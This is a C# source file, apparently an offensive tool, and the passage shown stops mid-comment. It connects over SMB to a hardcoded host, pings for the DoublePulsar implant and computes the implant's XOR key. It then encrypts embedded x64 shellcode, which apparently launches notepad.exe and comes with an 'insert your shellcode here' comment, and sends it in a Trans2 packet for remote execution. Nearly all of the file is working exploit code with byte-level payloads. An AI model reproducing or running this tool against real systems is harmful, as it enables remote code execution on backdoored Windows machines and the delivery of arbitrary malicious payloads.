static public void SendSMBMessage(Socket sock, byte[] pkt, bool SetHeader)
{
//Calculate and set Message Length for NetBios Header
if (SetHeader)
{
pkt = SetNetBiosHeader(pkt);
}
try
{
sock.Send(pkt);
}
catch (Exception e)
{
Console.WriteLine("Socket Error, during sending: " + e.Message);
}
}
static public byte[] ReceiveSMBMessage(Socket sock)
{
byte[] response = new byte[1024];
try
{
sock.Receive(response);
}
catch (Exception e)
{
Console.WriteLine("Socket Error, during receive: " + e.Message);
}
return response.Skip(4).ToArray();
}
static public byte[] GetBytes(object str)
{
int size = Marshal.SizeOf(str);
byte[] arr = new byte[size];
IntPtr ptr = Marshal.AllocHGlobal(size);
Marshal.StructureToPtr(str, ptr, true);
Marshal.Copy(ptr, arr, 0, size);
Marshal.FreeHGlobal(ptr);
return arr;
}
public static UInt32 LE2INT(byte[] data)
{
UInt32 b;
b = data[3];
b <<= 8;
b += data[2];
b <<= 8;
b += data[1];
b <<= 8;
b += data[0];
return b;
}
//https://stackoverflow.com/questions/2350099/how-to-convert-an-int-to-a-little-endian-byte-array
/*
BitConverter.GetBytes(1000).Reverse<byte>().ToArray();
OR
if (BitConverter.IsLittleEndian)
{
int someInteger = 100;
byte[] bytes = BitConverter.GetBytes(someInteger);
int convertedFromBytes = BitConverter.ToInt32(bytes, 0);
}
OR
byte[] IntToLittleEndian(int data)
{
var output = new byte[sizeof(int)];
BinaryPrimitives.WriteInt32LittleEndian(output, data);
return output;
}
*/
public static byte[] INT2LE(UInt32 data)
{
byte[] b = new byte[4];
b[0] = (byte)data;
b[1] = (byte)(((uint)data >> 8) & 0xFF);
b[2] = (byte)(((uint)data >> 16) & 0xFF);
b[3] = (byte)(((uint)data >> 24) & 0xFF);
return b;
}
public static byte[] Slice(byte[] data, int index, int length)
{
byte[] result = new byte[length];
Array.Copy(data, index, result, 0, length);
return result;
}
public static UInt32 calculate_doublepulsar_xor_key(UInt32 s)
{
UInt32 x;
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)));
x = x & 0xffffffff; // this line was added just to truncate to 32 bits
return x;
}
// The arch is adjacent to the XOR key in the SMB signature
public static string calculate_doublepulsar_arch(UInt64 s)
{
if ((s & 0xffffffff00000000) == 0)
{
return "x86 (32-bit)";
}
else
{
return "x64 (64-bit)";
}
}
//https://social.msdn.microsoft.com/Forums/vstudio/en-US/0f63c7f5-02f5-444c-b853-ea779ce005cf/file-encryption-using-multiple-xor-keys?forum=csharpgeneral
private static void XorEncrypt(Byte[] message, UInt32[] Keys)
{
for (Int32 i = 0; i < message.Length - 1; i++)
{
message[i] ^= (byte)Keys[i % 4];
}
}
public static byte[] XorDecryptFunc(Byte[] message, int key)
{
byte[] readedBytes;
byte[] xoredBytes;
readedBytes = new byte[message.Length];
xoredBytes = new byte[message.Length];
Array.Copy(message, readedBytes, message.Length);
for (int i = 0; i < readedBytes.Length; i++)
{
int xoredInt = readedBytes[i] ^ key;
xoredBytes[i] = (byte)xoredInt;
}
return xoredBytes;
}
static void Main(string[] args)
{
string target = "192.168.0.13";
string ip = target;
int port = 445;
TcpClient client = new TcpClient(ip, port);
Socket sock = client.Client;
Console.WriteLine("Connecting to host: " + target);
ClientNegotiate(sock);
byte[] response = SMB1AnonymousLogin(sock);
SMB_HEADER header = SMB_HeaderFromBytes(response);
response = TreeConnectAndXRequest(ip, sock, header.UID);
header = SMB_HeaderFromBytes(response);
sock.ReceiveTimeout = 2000;
Console.WriteLine("Connection established");
//we need to obtain the key for DoublePulsar so send DoublePulsar trans2 ping packet here
byte[] pingrequestresponse = DoublepulsarPingRequest(sock, header.UID, header.TID);
System.Console.WriteLine("Sent Doublepulsar Ping packet!");
//Receive Trans2 DoublePulsar Response & Parse
header = SMB_HeaderFromBytes(pingrequestresponse);
//https://github.com/HynekPetrak/doublepulsar-detection-csharp/blob/master/DoublepulsarDetectionLib/DetectDoublePulsar.cs
//byte[] final_response = pingrequestresponse;
// Check for 0x51 response to indicate DOUBLEPULSAR infection
//if (final_response[34] == 0x51)
if (header.MID == 0x51)
{
/*
When sending data normally it's at location 18 in the buffer
In our instance, we are getting data back with the RecvSMBMessage function
which removes the 1st 4 bytes of the packet which is the NETBios header
*/
//byte[] signature = Slice(pingrequestresponse, 18, 4);
byte[] signature = Slice(pingrequestresponse, 14, 4);
UInt32 signature_long = LE2INT(signature);
UInt32 key = calculate_doublepulsar_xor_key(signature_long);
string arch = calculate_doublepulsar_arch(signature_long);
Console.WriteLine($"DOUBLEPULSAR SMB IMPLANT DETECTED!!! Arch: {arch}, XOR Key: 0x{key,4:X}");
System.Console.WriteLine("Preparing Doublepulsar payload package!");
//insert your shellcode here
byte[] buf = new byte[279] {
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,
0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65,0x00 };
byte[] shellcode = MakeKernelUserPayload(buf);
System.Console.WriteLine("Generating shellcode buffer!");
byte[] ByteXORKEY = INT2LE(key);
int shellcode_len = shellcode.Length;
byte[] SC = new byte[shellcode_len];
Array.Clear(SC, 0, shellcode_len);
Array.Copy(shellcode, SC, shellcode.Length);
System.Console.WriteLine("Shellcode buffer...\n");
System.Console.WriteLine(HexDump(SC));
System.Console.WriteLine($"[+] [{ip}] DOUBLEPULSAR - Encrypting shellcode buffer with XOR key");
System.Console.WriteLine("Encrypting shellcode buffer...\n");
for (Int32 i = 0; i < SC.Length; i++)
{
SC[i] ^= (byte)ByteXORKEY[i % 4];
}
System.Console.WriteLine(HexDump(SC));
System.Console.WriteLine("Generating the Doublepulsar parameters...\n");
List<byte> Parameters = new List<byte>();
Parameters.AddRange(Enumerable.Repeat((byte)0x00, 12));
//convert params to byte
//byte[] paramBytes = GetBytes(Parameters);
byte[] paramz = Parameters.ToArray();
UInt32 TotalByteCount = (uint)SC.Length;
UInt32 ChunkSize = (uint)SC.Length;
UInt32 Offset = 0;
byte[] ByteTotalByteCount = INT2LE(TotalByteCount);
byte[] ByteChunkSize = INT2LE(ChunkSize);
byte[] ByteOffset = INT2LE(Offset);
System.Buffer.BlockCopy(ByteTotalByteCount, 0, paramz, 0, 4);
System.Buffer.BlockCopy(ByteChunkSize, 0, paramz, 4, 4);
System.Buffer.BlockCopy(ByteOffset, 0, paramz, 8, 4);
System.Console.WriteLine("Parameters before encryption...\n");
System.Console.WriteLine(HexDump(paramz));
System.Console.WriteLine("Encrypting parameters...\n");
for (Int32 i = 0; i < paramz.Length; i++)
{
paramz[i] ^= (byte)ByteXORKEY[i % 4];
}
System.Console.WriteLine("Parameters after XOR Encryption...\n");
System.Console.WriteLine(HexDump(paramz));
System.Console.WriteLine($"[+] [{ip}] { HexDump(paramz) }");
SMB_COM_TRANSACTION2_SECONDARY_REQUEST transaction2SecondaryRequest = new SMB_COM_TRANSACTION2_SECONDARY_REQUEST
{
WordCount = 15,
TotalParameterCount = 12,
TotalDataCount = 0x1000,
MaxParameterCount = 1,
MaxDataCount = 0x0000,
MaxSetupCount = 0x00,
Reserved = 0x00,
Flags = 0x00,
Timeout = 0x001a8925, // [25,89,1a0,00] in packet. 0x001a8925
Reserved2 = 0x00,
ParameterCount = 12,
//where in the packet is the location of the parameters
//(NETBIOS) + (SMB) + (transaction2SecondaryRequest) -> < PARAMETERS ARE HERE >
ParameterOffset = 0x0042, //0x0035 OR ParameterDisplacement (NETBIOS) + (SMB) + (transaction2SecondaryRequest) -> (parameters=12)
DataCount = 0, //will be updated with the values below
//where in the packet is the location of the SMBDATA
//(NETBIOS) + (SMB) + (transaction2SecondaryRequest) + (PARAMETERS) -> < SMBDATA IS HERE>
DataOffset = 0x004e, // DataDisplacement (NETBIOS) + (SMB) + (transaction2SecondaryRequest) (parameters=12) -> ( SMBData=4096 MAX)
setupcount = 1, //0x01;
reserved3 = 0x00,
subcommand = 0x000E,
ByteCount = 0,
padding = 0x00
};
SMB_HEADER Exec_header = new SMB_HEADER
{
protocol = 0x424d53ff,
command = 0x32,
errorClass = 0x00,
_reserved = 0x00,
errorCode = 0x0000,
flags = 0x18,
flags2 = 0xc007,
PIDHigh = 0x0000,
SecurityFeatures = 0x0000000000000000,
reserved = 0x0000,
TID = 0xfeff, //need this value from previous exchanges
PIDLow = 0xfeff, //PIDLow = 0x4b2f,
UID = 0x0008, //need this value from previous exchanges
MID = 0x0042
};
Exec_header.TID = header.TID;
Exec_header.UID = header.UID;
//Merge SMBHeader with the transaction2SecondaryRequest
byte[] headerBytes = GetBytes(Exec_header);
transaction2SecondaryRequest.TotalDataCount = (ushort)SC.Length; // Marshal.SizeOf(encrypted_payload);
transaction2SecondaryRequest.DataCount = (ushort)SC.Length; // Marshal.SizeOf(encrypted_payload);
ushort byteCountOfEncryptedPayload = (ushort)(SC.Length + 13); // Marshal.SizeOf(encrypted_payload) + 13;
transaction2SecondaryRequest.ByteCount = (ushort)byteCountOfEncryptedPayload;
byte[] transaction2SecondaryRequestbytes = GetBytes(transaction2SecondaryRequest).ToArray();
byte[] pkt = headerBytes.Concat(transaction2SecondaryRequestbytes).ToArray();
System.Console.WriteLine(HexDump(pkt));
System.Console.WriteLine("Adding Doublepulsar parameters to the end");
//append the parameteters to the end of pkt
pkt = pkt.Concat(paramz.ToArray()).ToArray(); //Collect it all
System.Console.WriteLine(HexDump(pkt));
System.Console.WriteLine("Adding encrypted SMB Data to the end");
//append SMBData to the end of pkt
pkt = pkt.Concat(SC.ToArray()).ToArray(); //Collect it all
System.Console.WriteLine(HexDump(pkt));
System.Console.WriteLine("SMB packet does not have a size header. Adding the header!");
uint size = (uint)pkt.Length;
byte[] intBytes = BitConverter.GetBytes(size).Reverse().ToArray();
NETBIOS_HEADER netbios_header = new NETBIOS_HEADER();
netbios_header.MessageTypeAndSize = BitConverter.ToUInt32(intBytes, 0);
byte[] netbios_header_packet = GetBytes(netbios_header);
byte[] fullMessage = netbios_header_packet.Concat(pkt).ToArray();
System.Console.WriteLine(HexDump(fullMessage));
//patch user ID and tree ID here with UserID & TreeID bytes
//fullMessage[28] = tree_id[0];
//fullMessage[29] = tree_id[1];
//fullMessage[32] = user_id[0];
//fullMessage[33] = user_id[1];
byte[] recv_buffer = new byte[1024];
try
{
sock.Send(fullMessage);
System.Console.WriteLine("Sent a packet!");
}
catch (Exception e)
{
Console.WriteLine("Send Error, during sending: " + e.Message);
}
try
{
sock.Receive(recv_buffer);
// Check for 0x52 response to indicate DOUBLEPULSAR worked
// 0x52 = success
// 0x62 = parameter failure
// 0x72 = alloc error
//This will NOT work because we didn't use the SendSMBMessage function
/*